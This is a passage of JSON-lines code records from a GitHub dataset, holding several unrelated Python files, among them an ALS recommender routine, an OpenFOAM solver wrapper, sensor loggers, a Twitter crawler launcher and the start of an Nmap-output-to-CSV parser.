train, item_features, lambda_user,\n nnz_items_per_user, nz_user_itemindices):\n \"\"\"update user feature matrix.\"\"\"\n num_user = train.shape[1]\n num_feature = item_features.shape[1]\n lambda_I = lambda_user * sp.eye(num_feature)\n updated_user_features = np.zeros((num_user, num_feature))\n\n for user, items in nz_user_itemindices:\n \n solve_A = item_features[items,:].T.dot(item_features[items,:]) + lambda_I\n solve_B = item_features[items,:].T * train[items, user]\n \n X = np.linalg.solve(solve_A, solve_B)\n \n updated_user_features[user,:] = X.squeeze(axis=1)\n return updated_user_features\n\ndef update_item_feature(\n train, user_features, lambda_item,\n nnz_users_per_item, nz_item_userindices):\n \"\"\"update item feature matrix.\"\"\"\n num_item = train.shape[0]\n num_feature = user_features.shape[1]\n lambda_I = lambda_item * sp.eye(num_feature)\n updated_item_features = np.zeros((num_item, num_feature))\n\n for item, users in nz_item_userindices:\n \n solve_A = user_features[users,:].T.dot(user_features[users,:]) + lambda_I\n solve_B = user_features[users,:].T * train[item, users].T\n \n X = np.linalg.solve(solve_A, solve_B)\n updated_item_features[item,:] = X.squeeze(axis=1)\n return updated_item_features\n\n\n\ndef ALS(train, test, num_features, lambda_user, lambda_item):\n \"\"\"Alternating Least Squares (ALS) algorithm.\"\"\"\n # define parameters \n stop_criterion = 1e-4\n change = 1\n error_list = [0, 0]\n \n # set seed\n np.random.seed(988)\n\n # init ALS\n user_features, item_features = init_MF(train, num_features)\n \n # get the number of non-zero ratings for each user and item\n nnz_items_per_user, nnz_users_per_item = train.getnnz(axis=0), train.getnnz(axis=1)\n \n # group the indices by row or column index\n nz_train, nz_item_userindices, nz_user_itemindices = build_index_groups(train)\n\n # run ALS\n i = 0\n while change > stop_criterion:\n # update user feature & item feature\n user_features = update_user_feature(\n train, item_features, lambda_user,\n nnz_items_per_user, nz_user_itemindices)\n item_features = update_item_feature(\n train, user_features, lambda_item,\n nnz_users_per_item, nz_item_userindices)\n\n error = compute_error(train, user_features.T, item_features, nz_train)\n error_list.append(error)\n change = np.fabs(error_list[-1] - error_list[-2])\n i += 1\n print('number of iterations: ',i)\n\n # evaluate the test error\n if test != None:\n nnz_row, nnz_col = test.nonzero()\n nnz_test = list(zip(nnz_row, nnz_col))\n rmse = compute_error(test, user_features.T, item_features, nnz_test)\n print(\"test RMSE after running ALS: {v}.\".format(v=rmse))\n return item_features.dot(user_features.T), rmse\n \n return item_features.dot(user_features.T)","repo_name":"MatthiasLeroyEPFL/PCML_Project","sub_path":"Project_2/als.py","file_name":"als.py","file_ext":"py","file_size_in_byte":3061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"15720921613","text":"from datetime import datetime\n\n\nclass Categoria:\n def __init__(self, categoria):\n self.categoria = categoria\n\n\nclass Produto:\n def __init__(self, nome, preco, categoria):\n self.nome = nome\n self.preco = preco\n self.categoria = categoria\n\n\nclass Estoque:\n def __init__(self, produto: Produto, quantidade):\n self.produto = produto\n self.quantidade = quantidade\n\n\nclass Venda:\n def __init__(self, produto_vendido: Produto, vendedor, comprador, quantidade_vendida, data=datetime.now().strftime(\"%d-%m-%Y\")):\n self.produto_vendido = produto_vendido\n self.vendedor = vendedor\n self.comprador = comprador\n self.quantidade_vendida = quantidade_vendida\n self.data = data\n\n\nclass Fornecedor:\n def __init__(self, nome, cnpj, telefone, categoria):\n self.nome = nome\n self.cnpj = cnpj\n self.telefone = telefone\n self.categoria = categoria\n\n\nclass Cliente:\n def __init__(self, nome, cpf, telefone, email, endereco):\n self.nome = nome\n self.cpf = cpf\n self.telefone = telefone\n self.email = email\n self.endereco = endereco\n\n\nclass Funcionario(Cliente):\n def __init__(self, nome, cpf, telefone, email, endereco, modelo_trabalho):\n super().__init__(nome, cpf, telefone, email, endereco)\n self.modelo_trabalho = modelo_trabalho\n","repo_name":"zHenriqueSI/comercio","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"20016028473","text":"import serial\nimport csv\nimport datetime\n\nvoltage = 0\ncurrent = 0\ncsvfile = None\nser = None\ncsvwriter = None\n\nfilename = datetime.datetime.now().strftime(\"%Y-%m-%d\") + \".csv\"\nprint(filename)\n\ndef startLogging():\n\tglobal csvfile, ser, csvwriter\n\ttry:\n\t\tser = serial.Serial('/dev/ttyACM0', 9600)\n\texcept serial.serialutil.SerialException:\n\t\tprint(\"Arduino not connected\")\n\ndef logData(speed):\n\tglobal csvwriter, voltage, current\n\tif ser is None or (ser.in_waiting > 0):\n\t\tvoltage = 0\n\t\tcurrent = 0\n\n\t\tif ser is not None:\n\t\t\tbs = ser.readline()\n\t\t\ts = bs[:-1].decode('ascii')\n\t\t\tif ',' not in s:\n\t\t\t\treturn\n\n\t\t\tvoltage, current = s.split(',')\n\t\t\tvoltage = float(voltage)\n\t\t\tcurrent = float(current)\n\n\t\ttime = datetime.datetime.now().strftime(\"%H:%M:%S.%f\")[:-4]\n\n\t\tcsvfile = open(filename, 'a+')\n\t\tcsvwriter = csv.writer(csvfile)\n\t\tcsvwriter.writerow([time, voltage, current, speed])\n\t\tcsvfile.close()\n\ndef stopLogging():\n\tglobal ser\n\n\tser.close()\n","repo_name":"WilliamRodriguez42/SolarGatorsTelemetry","sub_path":"Car/Logging.py","file_name":"Logging.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"34771644360","text":"from cmath import inf\nfrom dis import dis\n# Функція для додавання двох чисел\ndef added(num1,num2):\n return num1+num2\n# Функція для множення двох чисел\ndef multiple(num1,num2):\n return num1*num2\n# Функція для ділення двох чисел\ndef divide(num1,num2):\n if num2 == 0:\n return inf;\n else:\n return num1/num2\n# Функція для віднімання двох чисел\ndef subtract(num1,num2):\n return num1-num2\n\ndef enter_number():\n num=int(input(\"Enter number \"))\n return num\n# Меню\ndef menu():\n print(\"Welcome To Calculator!!!\")\n exit = False\n while exit != True:\n choice = int(input(\"Enter number of operation (1 => +,2 => -,3 => *,4 => /,0 => Exit) \"))\n \n if choice == 1:\n num1= enter_number()\n num2= enter_number()\n res = added(num1,num2)\n print(\"Result => {}\".format(res))\n elif choice == 2:\n num1= enter_number()\n num2= enter_number()\n res = subtract(num1,num2)\n print(\"Result => {}\".format(res))\n elif choice == 3:\n num1= enter_number()\n num2= enter_number()\n res = multiple(num1,num2)\n print(\"Result => {}\".format(res))\n elif choice == 4:\n num1= enter_number()\n num2= enter_number()\n res = divide(num1,num2)\n print(\"Result => {}\".format(res))\n elif choice == 0:\n exit = True\n else :\n exit = False\n\nmenu()\nprint(\"\\t\\tCreated by Serhii Vysotskyi\")","repo_name":"Alkaponees/Python_Hometask","sub_path":"basic lesson/Функції.py","file_name":"Функції.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"13449402307","text":"import time\nimport spidev\nfrom datetime import datetime, timedelta\nfrom timeit import default_timer as timer\n\nspi_ch = 0\n\n# Enable SPI\nspi = spidev.SpiDev(0, spi_ch)\nspi.max_speed_hz = 1200000\n\n\ndef read_adc(adc_ch, vref=3.3):\n\n # Make sure ADC channel is 0 or 1\n if adc_ch != 0:\n adc_ch = 1\n\n # Construct SPI message\n # First bit (Start): Logic high (1)\n # Second bit (SGL/DIFF): 1 to select single mode\n # Third bit (ODD/SIGN): Select channel (0 or 1)\n # Fourth bit (MSFB): 0 for LSB first\n # Next 12 bits: 0 (don't care)\n msg = 0b11\n msg = ((msg << 1) + adc_ch) << 5\n msg = [msg, 0b00000000]\n reply = spi.xfer2(msg)\n\n # Construct single integer out of the reply (2 bytes)\n adc = 0\n for n in reply:\n adc = (adc << 8) + n\n\n # Last bit (0) is not part of ADC value, shift to remove it\n adc = adc >> 1\n\n # Calculate voltage form ADC value\n # percentage = (adc/1023) *100\n voltage = (vref * adc) / 1024\n\n return adc\n\n\nstate = \"\"\nprev_state = \"\"\ncurr_time = 0\nprev_time = timer()\n\n# Report the channel 0 and channel 1 voltages to the terminal\ntry:\n\n while True:\n adc_0 = read_adc(0)\n adc_1 = read_adc(1)\n if(read_adc(0) <= 300):\n state = \"On\"\n curr_time = timer()\n else:\n state = \"Off\"\n curr_time = timer()\n\n if(prev_state != state):\n prev_state = state\n print(state, curr_time - prev_time)\n prev_time = curr_time\n time.sleep(0.2)\n\nfinally:\n print(\"Closing Program\")\n","repo_name":"Simon-Oliver/learn_python","sub_path":"explorations/light.py","file_name":"light.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"20206496694","text":"\"\"\"\nOpenFOAM python interface\n\"\"\"\nimport os\nimport time\nimport subprocess\nimport multiprocessing as mp\nimport threading as thr\nfrom abc import ABC, abstractmethod\nimport logging\nfrom numpy import arange\n\nfrom .boundaries.boundary_conditions import BoundaryCondition\nfrom .common.filehandling import remove_iterable_dirs, remove_dirs_with_pattern, \\\n force_remove_dir, remove_files_in_dir_with_pattern, copy_tree, get_latest_time, get_latest_time_parallel\nfrom .constant.material_properties import MaterialProperties\nfrom .probes.probes import ProbeParser, Probe\nfrom .pyfoam_runner import PyFoamCmd, PyFoamSolver, check_runner_errors\nfrom .system.blockmesh import BlockMeshDict\nfrom .system.controldict import ControlDict\nfrom .system.decomposepar import DecomposeParDict\nfrom .system.snappyhexmesh import SnappyHexMeshDict\n\n\nlogging.basicConfig(\n format='%(asctime)s %(name)-10s %(levelname)-8s %(message)s',\n level=logging.INFO\n)\n\nlogger = logging.getLogger('openfoam')\nlogger.setLevel(logging.DEBUG)\n\n\nclass OpenFoamInterface(ABC):\n \"\"\"\n OpenFOAM Interface class. Serves as a wrapper of OpenFOAM commands\n \"\"\"\n\n def __init__(self, solver_type, path='.', blocking=False, parallel=False, cores=1, mesh_quality=50,\n clean_limit=0, end_time=10000, **kwargs):\n \"\"\"\n OpenFOAM Interface initialization function\n :param solver_type: solver type, e.g., chtMultiRegionFoam TODO: check for solver type\n :param path: path to case dir\n :param blocking: flag for solver blocking the main thread\n :param parallel: flag for parallel run\n :param cores: number of cores used for parallel run\n :param mesh_quality: mesh quality in percents [0 - 100]\n :param clean_limit: maximum number of results before cleaning, cleans if > 0\n :param kwargs: keys used by children and not by this class\n \"\"\"\n self.path = path\n self.control_dict = ControlDict(self.path, solver_type)\n self.decompose_dict = DecomposeParDict(self.path, cores, 'hierarchical')\n self.blockmesh_dict = BlockMeshDict(self.path)\n self.snappy_dict = SnappyHexMeshDict(self.path)\n self.material_props = MaterialProperties(self.path)\n self.regions = []\n self.boundaries = {}\n self.is_decomposed = os.path.exists(f'{path}/processor0')\n self._solver_type = solver_type\n self._solver_thread = None\n self._solver_lock = thr.Lock()\n self._stop_lock = thr.Lock()\n self._probe_parser_thread = ProbeParser(self.path)\n self._time_probe = None\n self.parallel = parallel\n self.blocking = blocking\n self.cores = cores\n self.clean_limit = clean_limit\n self.control_dict.end_time = end_time\n self.blockmesh_dict.mesh_quality = mesh_quality\n self._running = False\n logger.debug('Interface initialized')\n\n @property\n def cores(self):\n \"\"\"\n Number of cores getter\n \"\"\"\n return self._cores\n\n @cores.setter\n def cores(self, cores):\n \"\"\"\n Number of cores setter\n :param cores: number of cores\n \"\"\"\n if self.parallel:\n available_cores = mp.cpu_count()\n if available_cores >= cores > 0:\n if cores == 1:\n self.parallel = False\n self._cores = cores\n else:\n self._cores = available_cores\n if self._cores != 1 and self._cores % 2:\n self._cores //= 2\n else:\n self._cores = 1\n self.decompose_dict.num_of_domains = self._cores\n logger.info(f'Number of cores are set to {self._cores}')\n\n @property\n def running(self):\n return self._running\n\n @property\n def end_time(self):\n return self.control_dict.end_time\n\n @end_time.setter\n def end_time(self, value):\n self.control_dict.end_time = value\n\n def remove_processor_dirs(self):\n \"\"\"\n Removes processors folder\n :return: None\n \"\"\"\n self.is_decomposed = False\n remove_iterable_dirs(self.path, prepend_str='processor')\n logger.debug('Processors removed')\n\n def remove_solution_dirs(self):\n \"\"\"\n Removes solution directories folder\n :return: None\n \"\"\"\n remove_iterable_dirs(self.path, exception='0')\n logger.debug('Solutions removed')\n\n def remove_mesh_dirs(self):\n \"\"\"\n Removes Mesh folders in all folders (e.g. polyMesh)\n :return: None\n \"\"\"\n remove_dirs_with_pattern(self.path, suffix='Mesh', is_recursive=True)\n logger.debug('Mesh dirs removed')\n\n def remove_tri_surface_dir(self):\n \"\"\"\n Removes tri surface folder\n :return: None\n \"\"\"\n force_remove_dir(f'{self.path}/constant/triSurface')\n logger.debug('Triangulated surfaces removed')\n\n def remove_geometry(self):\n \"\"\"Removes geometry and mesh related files\"\"\"\n logger.debug('Removing geometry')\n self.remove_mesh_dirs()\n self.remove_tri_surface_dir()\n logger.debug('Geometries removed')\n\n def remove_solutions(self):\n \"\"\"Removes solutions from directory\"\"\"\n logger.debug('Removing solutions')\n self.remove_processor_dirs()\n self.remove_solution_dirs()\n force_remove_dir(f'{self.path}/postProcessing')\n logger.debug('Removed post-processing')\n logger.debug('Solutions removed')\n\n def remove_logs(self):\n \"\"\"Removes logs and foam files\"\"\"\n remove_files_in_dir_with_pattern(self.path, prefix='PyFoamState.')\n remove_files_in_dir_with_pattern(self.path, prefix='log.')\n remove_files_in_dir_with_pattern(self.path, suffix='.logfile')\n remove_files_in_dir_with_pattern(self.path, suffix='.foam')\n remove_files_in_dir_with_pattern(self.path, suffix='.OpenFOAM')\n\n def remove_initial_boundaries(self):\n \"\"\"Removes initial boundary conditions directory\"\"\"\n logger.debug('Removing initial boundaries')\n force_remove_dir(f'{self.path}/0')\n\n def clean_case(self):\n \"\"\"\n Removes old results and logs in the case directory\n :return: None\n \"\"\"\n logger.debug('Cleaning the case')\n self.remove_solutions()\n self.remove_logs()\n if self._time_probe:\n self._time_probe.time = 0\n logger.debug('Case is clean')\n\n def copy_stls(self, src_sub_dir: str = 'geometry', dst_sub_dir: str = 'constant/triSurface'):\n \"\"\"\n Copy STLs from geometry dir to constant/triSurface or user prefered location\n TODO: move this function to other class later!\n :param src_sub_dir: source subdirectory\n :param dst_sub_dir:\n :return: None\n \"\"\"\n logger.debug('Copying STLs')\n stls_path = f'{self.path}/{src_sub_dir}'\n path_to_copy = f'{self.path}/{dst_sub_dir}'\n copy_tree(stls_path, path_to_copy)\n\n def run_decompose(self, all_regions: bool = False, copy_zero: bool = False, latest_time: bool = False,\n force: bool = False, waiting: bool = False):\n \"\"\"\n Runs OpenFOAM case decomposition for parallel run, described in system/decomposeParDict\n :param all_regions: flag to decompose all regions (used for multi-region cases like cht)\n :param copy_zero: copy zero state\n :param latest_time: flag to only decompose from the latest time\n :param force: flag to clear processor folders before decomposing\n :return: None\n \"\"\"\n logger.info('Running decompose')\n if self.is_decomposed:\n latest_time = True\n force = True\n else:\n self.decompose_dict.save()\n cmd = 'decomposePar'\n argv = [cmd, '-case', self.path]\n if all_regions:\n argv.insert(1, '-allRegions')\n if copy_zero:\n argv.insert(1, '-copyZero')\n if latest_time:\n argv.insert(1, '-latestTime')\n if force:\n argv.insert(1, '-force')\n command = PyFoamCmd(argv)\n command.start()\n while waiting and command.running:\n time.sleep(0.001)\n self.is_decomposed = True\n logger.info('Case decomposed')\n\n def run_reconstruct(self, all_regions: bool = False, latest_time: bool = False, fields: list = None,\n region: str = '', waiting: bool = False):\n \"\"\"\n Runs OpenFOAM case reconstruction after a parallel run, described in system/decomposeParDict\n :param all_regions: flag to reconstruct all regions (used for multi-region cases like cht)\n :param latest_time: flag to only reconstruct from the latest time\n :param fields: fields to be reconstructed, e.g., ['U', 'T', 'p']\n :param region: region to reconstruct\n :return: None\n \"\"\"\n logger.debug('Removing old solutions')\n self.remove_solution_dirs() # Hope no bug is implemented by this, be aware\n logger.info('Running reconstruct')\n if not self.is_decomposed:\n logger.info('Case is not decomposed, skipping reconstruction')\n return\n cmd = 'reconstructPar'\n argv = [cmd, '-newTimes', '-case', self.path]\n if all_regions:\n argv.insert(1, '-allRegions')\n elif region:\n argv.insert(1, f'-region {region}')\n if latest_time:\n argv.insert(1, '-latestTime')\n if fields:\n argv.insert(1, f'-fields \\'({\" \".join(fields)})\\'')\n command = PyFoamCmd(argv)\n command.start()\n while waiting and command.running:\n time.sleep(0.001)\n logger.info('Case reconstructed')\n\n def run_block_mesh(self, waiting: bool = False):\n \"\"\"\n Runs OpenFOAM command to create a mesh as described in system/blockMeshDict\n :return: None\n \"\"\"\n logger.info('Running blockMesh')\n self.blockmesh_dict.save()\n cmd = 'blockMesh'\n argv = [cmd, '-case', self.path]\n command = PyFoamCmd(argv)\n command.start()\n while waiting and command.running:\n time.sleep(0.001)\n logger.info('Block mesh created')\n\n def run_snappy_hex_mesh(self, waiting: bool = False):\n \"\"\"\n Runs OpenFOAM command to snap additional mesh to a background mesh as described in system/snappyHexMeshDict\n :return: None\n \"\"\"\n logger.info('Running snappyHexMesh')\n self.snappy_dict.save()\n cmd = 'snappyHexMesh'\n argv = [cmd, '-case', self.path, '-overwrite']\n command = PyFoamCmd(argv)\n command.start()\n while waiting and command.running:\n time.sleep(0.001)\n logger.info('Surfaces snapped')\n\n def run_split_mesh_regions(self, cell_zones: bool = False, cell_zones_only: bool = False,\n waiting: bool = False):\n \"\"\"\n Runs OpenFOAM command to split mesh regions for a produced mesh\n :param cell_zones: split additionally cellZones off into separate regions\n :param cell_zones_only: use cellZones only to split mesh into regions; do not use walking\n :return: None\n \"\"\"\n logger.info('Splitting mesh')\n cmd = 'splitMeshRegions'\n argv = [cmd, '-case', self.path, '-overwrite']\n if cell_zones:\n argv.insert(1, '-cellZones')\n if cell_zones_only:\n argv.insert(1, '-cellZonesOnly')\n command = PyFoamCmd(argv)\n command.start()\n while waiting and command.running:\n time.sleep(0.001)\n logger.info('Mesh was split')\n\n def run_setup_cht(self, waiting: bool = False):\n \"\"\"\n Runs OpenFOAM command to setup CHT, which copies data from case/templates folder\n :return: None\n \"\"\"\n logger.info('Setting up CHT')\n self.material_props.save()\n cmd = 'foamSetupCHT'\n argv = [cmd, '-case', self.path]\n command = PyFoamCmd(argv)\n command.start()\n while waiting and command.running:\n time.sleep(0.001)\n logger.info('CHT case is setup')\n\n def run_foam_dictionary(self, path: str, entry: str, set_value: str):\n \"\"\"\n Runs OpenFOAM command to change dictionary specified in the path\n :param path: path to dictionary\n :param entry: field to change\n :param set_value: value to set\n :return: None\n \"\"\"\n logger.debug(f'Setting a value of {path} field {entry} to {set_value}')\n cmd = 'foamDictionary'\n argv = [cmd, f'{self.path}/{path}', '-entry', entry, '-set', set_value]\n p = subprocess.Popen(argv, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n output, err = p.communicate()\n p.wait()\n if err or b'ERROR' in output:\n raise Exception(err)\n logger.debug('Value changed')\n\n def _add_time_probe(self, field, region):\n self._time_probe = Probe(self.path, field, region, [0, 0, 0])\n self._probe_parser_thread.parse_probe(self._time_probe)\n\n def extract_boundary_conditions(self):\n \"\"\"\n Extracts initial boundary conditions for current case from files\n :return: None\n \"\"\"\n logger.debug('Extracting boundaries')\n fields_dir = os.listdir(f'{self.path}/0')\n region_dirs = [obj for obj in fields_dir if os.path.isdir(f'{self.path}/0/{obj}')]\n # Check if there are any folders in initial boundary dir\n # If there folders there, then the case is multi-regional\n if any(region_dirs):\n self.regions = region_dirs\n for region in region_dirs:\n self.boundaries.update({region: {}})\n region_dir = os.listdir(f'{self.path}/0/{region}')\n for field in region_dir:\n cls_instance = BoundaryCondition(field, self.path, region=region)\n if cls_instance:\n self.boundaries[region].update({field: cls_instance})\n else:\n for field in fields_dir:\n cls_instance = BoundaryCondition(field, self.path)\n if cls_instance:\n self.boundaries.update({field: cls_instance})\n self.decompose_dict.regions = self.regions\n logger.debug('Boundaries were extracted')\n\n @abstractmethod\n def setup(self):\n \"\"\"\n Setups case, should be overridden by child classes\n :return: None\n \"\"\"\n raise NotImplementedError('Setup method is not implemented!')\n\n def save_boundaries(self):\n \"\"\"Saves all boundary conditions\"\"\"\n logger.info('Saving boundaries')\n if self.regions:\n for region in self.regions:\n for field in self.boundaries[region].values():\n field.save()\n else:\n for field in self.boundaries.values():\n field.save()\n logger.info('Boundaries were saved')\n\n @property\n def solved(self):\n if self.parallel:\n latest_time = get_latest_time_parallel(self.path)\n else:\n latest_time = get_latest_time(self.path)\n latest_time = float(latest_time)\n if (self.control_dict.write_interval + latest_time) > self.control_dict.end_time:\n return True\n return False\n\n def start_solving(self):\n \"\"\"\n Starts OpenFOAM solver thread or process\n :return:\n \"\"\"\n self.control_dict.save()\n self.save_boundaries()\n cleaner_thread = thr.Thread(target=self.result_cleaner, daemon=True)\n if self.parallel:\n self.run_decompose(all_regions=True, latest_time=True, force=True, waiting=True)\n self._solver_thread = PyFoamSolver(self._solver_type, self.path, self._solver_lock, self.parallel, self.cores)\n self._solver_thread.start()\n self._running = True\n cleaner_thread.start()\n\n def stop_solving(self):\n \"\"\"\n Stops OpenFOAM solver\n :return: None\n \"\"\"\n if not self._running:\n return\n self._solver_thread.stop(int(self.control_dict.stop_at_write_now_signal))\n self._solver_thread = None\n self._running = False\n\n def result_cleaner(self):\n \"\"\"Thread to clean the results periodically\"\"\"\n if not self.clean_limit:\n return\n logger.debug('Starting case cleaner')\n time_getter = get_latest_time_parallel if self.parallel else get_latest_time\n deletion_time = 0\n margin = self.clean_limit / 2 // self.control_dict.write_interval * self.control_dict.write_interval\n while self._running:\n latest_time = float(time_getter(self.path))\n if latest_time != deletion_time and not latest_time % self.clean_limit:\n time.sleep(0.05)\n exceptions = '|'.join([str(int(val) if val.is_integer() else val)\n for val in arange(latest_time - margin, latest_time + margin,\n self.control_dict.write_interval)])\n exceptions = exceptions.replace('.', r'\\.')\n if self.parallel:\n for core in range(0, self.cores):\n remove_dirs_with_pattern(f'{self.path}/processor{core}', f'^(?!(?:0|{exceptions})$)\\\\d+')\n else:\n remove_dirs_with_pattern(self.path, f'^(?!(?:0|{exceptions})$)\\\\d+')\n deletion_time = latest_time\n time.sleep(0.01)\n logger.debug('Case cleaner stopped')\n\n def run(self):\n \"\"\"\n Runs solver and monitor threads\n :return: None\n \"\"\"\n if self._running:\n logger.debug('Case is already being solved')\n return\n with self._stop_lock:\n logger.info('Starting to solve the case')\n self.start_solving()\n self._probe_parser_thread.start()\n if self.blocking:\n self._solver_lock.acquire()\n self._solver_lock.release()\n if self._solver_thread.solver:\n check_runner_errors(self._solver_type, self._solver_thread.solver)\n logger.info('Stopped solving the case')\n\n def stop(self, stop_solver=True, **kwargs):\n \"\"\"\n Stops solver and monitor threads\n :return: None\n \"\"\"\n if not self._running:\n logger.debug('Case is already stopped')\n return\n with self._stop_lock:\n logger.debug('Stopping probe parsers')\n self._probe_parser_thread.stop()\n if stop_solver:\n logger.info('Stopping the case solver')\n self.stop_solving()\n\n def remove(self):\n self.blockmesh_dict.remove()\n self._probe_parser_thread.stop()\n self._probe_parser_thread = None\n","repo_name":"tum-esi/WoT-Phyng-Sim","sub_path":"backend/python/wopsimulator/openfoam/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":18951,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"33501012006","text":"from functions import *\nfrom selenium import webdriver\nimport os\n\nif __name__ == '__main__':\n\n driver = webdriver.Chrome()\n print('------------------------------------------------------------------------')\n # --------------------------------------------------------------------------------\n # parameters\n URL_Path = 'URL.csv'\n Stop_num = 10 # this is the number of the items you want to crawl\n kw_start_point = 0 # this parameter decides the start keyword of the crawler.its default value is 0\n save_path = 'data' # this is the path where you want to save the crawled data\n start_date = '2023-01-29' # this parameter decides the start date of the crawler.its default value is 2021-01-01\n end_date = '2023-05-01' # this parameter decides the end date of the crawler.its default value is 2020-01-01\n limit_language = 'en' # this parameter decides the language of the crawler.its default value is en\n # ----------------------------------------------------------------------------------\n if not os.path.exists(save_path):\n os.mkdir(save_path)\n Twitter_Crawler(driver, URL_Path, Stop_num, kw_start_point, save_path, start_date, end_date, limit_language)\n print('------------------------------------------------------------------------')\n driver.close()\n","repo_name":"pierrepanter/final_report_5.5","sub_path":"final_report_5.5/NEW vertion/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"3659254823","text":"import sys, re, csv, struct, socket, itertools\n\n# OptionParser imports\nfrom optparse import OptionParser\n\n# Options definition\noption_0 = { 'name' : ('-i', '--input'), 'help' : 'Nmap scan output file (stdin if not specified)', 'nargs' : 1 }\noption_1 = { 'name' : ('-o', '--output'), 'help' : 'csv output filename (stdout if not specified)', 'nargs' : 1 }\noption_2 = { 'name' : ('-f', '--format'), 'help' : 'csv column format { fqdn, hop_number, ip, mac_address, mac_vendor, port, protocol, os, service, version } (default : ip-fqdn-port-protocol-service-version)', 'nargs' : 1 }\noption_3 = { 'name' : ('-n', '--newline'), 'help' : 'insert a newline between each host for better readability', 'action' : 'count' }\noption_4 = { 'name' : ('-s', '--skip-header'), 'help' : 'do not print the csv header', 'action' : 'count' }\n\noptions = [option_0, option_1, option_2, option_3, option_4]\n\n# Format option\nDEFAULT_FORMAT = 'ip-fqdn-port-protocol-service-version'\nSUPPORTED_FORMAT_OBJECTS = [ 'fqdn', 'hop_number', 'ip', 'mac_address', 'mac_vendor', 'port', 'protocol', 'os', 'service', 'version' ]\nINVALID_FORMAT = 10\nVALID_FORMAT = 11\n\n# Newline option\nNO_NEWLINE = 20\nYES_NEWLINE = 21\n\n# Header option\nNO_HEADER = 22\nYES_HEADER = 23\n\n# Handful patterns\n#-- IP regex\np_ip_elementary = '(?:[\\d]{1,3})\\.(?:[\\d]{1,3})\\.(?:[\\d]{1,3})\\.(?:[\\d]{1,3})'\np_mac_elementary = '[0-9a-fA-F][0-9a-fA-F]:){5}([0-9a-fA-F][0-9a-fA-F]'\n\n# Nmap Normal Output patterns\n#-- Target\np_ip_nmap5 = 'Interesting.*on\\s(?:(?P.*) (?=\\((?P%s)\\)))|Interesting.*on\\s(?P.*)\\:' % p_ip_elementary\np_ip_nmap6 = 'Nmap.*for\\s(?:(?P.*) (?=\\((?P%s)\\)))|Nmap.*for\\s(?P%s)$' % (p_ip_elementary, p_ip_elementary)\n\np_ip = re.compile('%s|%s' % (p_ip_nmap5, p_ip_nmap6))\n\n#-- Port finding\np_port = re.compile('^(?P[\\d]+)\\/(?Ptcp|udp)\\s+(?:open|open\\|filtered)\\s+(?P[\\w\\S]*)(?:\\s*(?P.*))?$')\n\n#-- MAC address\np_mac = re.compile('MAC Address:\\s(?P(%s))\\s\\((?P.*)\\)' % p_mac_elementary)\n\n#-- OS detection (pattern order is important, the latter position the more precise and reliable the information is)\np_os = re.compile('(?:^Service Info: OS|^OS|^OS details|smb-os-discovery|\\|\\s+OS):\\s(?P[^;]+)')\n\n#-- Network distance\np_network_dist = re.compile('Network Distance:\\s(?P\\d+)\\shops?')\n\n# Nmap Grepable output\n#-- Target, Ports\np_grepable = re.compile('(?P^Host:\\s.*)')\n\n\n# Handful functions\ndef dottedquad_to_num(ip):\n\t\"\"\"\n\t\tConvert decimal dotted quad string IP to long integer\n\t\"\"\"\n\treturn struct.unpack('!L',socket.inet_aton(ip))[0]\n\ndef num_to_dottedquad(n):\n\t\"\"\"\n\t\tConvert long int IP to dotted quad string\n\t\"\"\"\n\treturn socket.inet_ntoa(struct.pack('!L',n))\n\ndef unique_match_from_list(list):\n\t\"\"\"\n\t\tCheck the list for a potential pattern match\n\t\t@param list : a list of potential matching groups\n\n\t\t@rtype : return the unique value that matched, or nothing if nothing matched\n\t\"\"\"\n\tresult = ''\n\tfor item in list:\n\t\tif item != None:\n\t\t\tresult = str(item)\n\n\treturn result\n\ndef extract_matching_pattern(regex, group_name, unfiltered_list):\n\t\"\"\"\n\t\tReturn the desired group_name from a list of matching patterns\n\t\t@param regex : a regular expression with named groups\n\t\t@param group_name : the desired matching group name value\n\t\t@param unfiltered_list : a list of matches\n\n\t\t@rtype : the string value\n\t\"\"\"\n\tresult = ''\n\tfiltered_list = filter(regex.search, unfiltered_list)\n\n\tif len(filtered_list) == 1:\n\t\tfiltered_string = ''.join(filtered_list)\n\t\tresult = regex.search(filtered_string).group(group_name)\n\n\treturn result\n\nclass Host:\n\tdef __init__(self, ip, fqdn=''):\n\t\tself.ip_dottedquad = ip\n\t\tself.ip_num = dottedquad_to_num(ip)\n\t\tself.fqdn = fqdn\n\t\tself.ports = []\n\t\tself.os = ''\n\t\tself.mac_address = ''\n\t\tself.mac_address_vendor = ''\n\t\tself.network_distance = ''\n\n\tdef add_port(self, port):\n\t\tself.ports.append(port)\n\n\t# Getters\n\tdef get_ip_num_format(self):\n\t\treturn str(self.ip_num)\n\n\tdef get_ip_dotted_format(self):\n\t\treturn str(self.ip_dottedquad)\n\n\tdef get_fqdn(self):\n\t\treturn str(self.fqdn)\n\n\tdef get_port_list(self):\n\t\treturn self.ports\n\n\tdef get_port_number_list(self):\n\t\tif not(self.get_port_list()):\n\t\t\treturn ['']\n\t\telse:\n\t\t\tresult = []\n\t\t\tfor port in self.get_port_list():\n\t\t\t\tresult.append(port.get_number())\n\t\treturn result\n\n\tdef get_port_protocol_list(self):\n\t\tif not(self.get_port_list()):\n\t\t\treturn ['']\n\t\telse:\n\t\t\tresult = []\n\t\t\tfor port in self.get_port_list():\n\t\t\t\tresult.append(port.get_protocol())\n\t\treturn result\n\n\tdef get_port_service_list(self):\n\t\tif not(self.get_port_list()):\n\t\t\treturn ['']\n\t\telse:\n\t\t\tresult = []\n\t\t\tfor 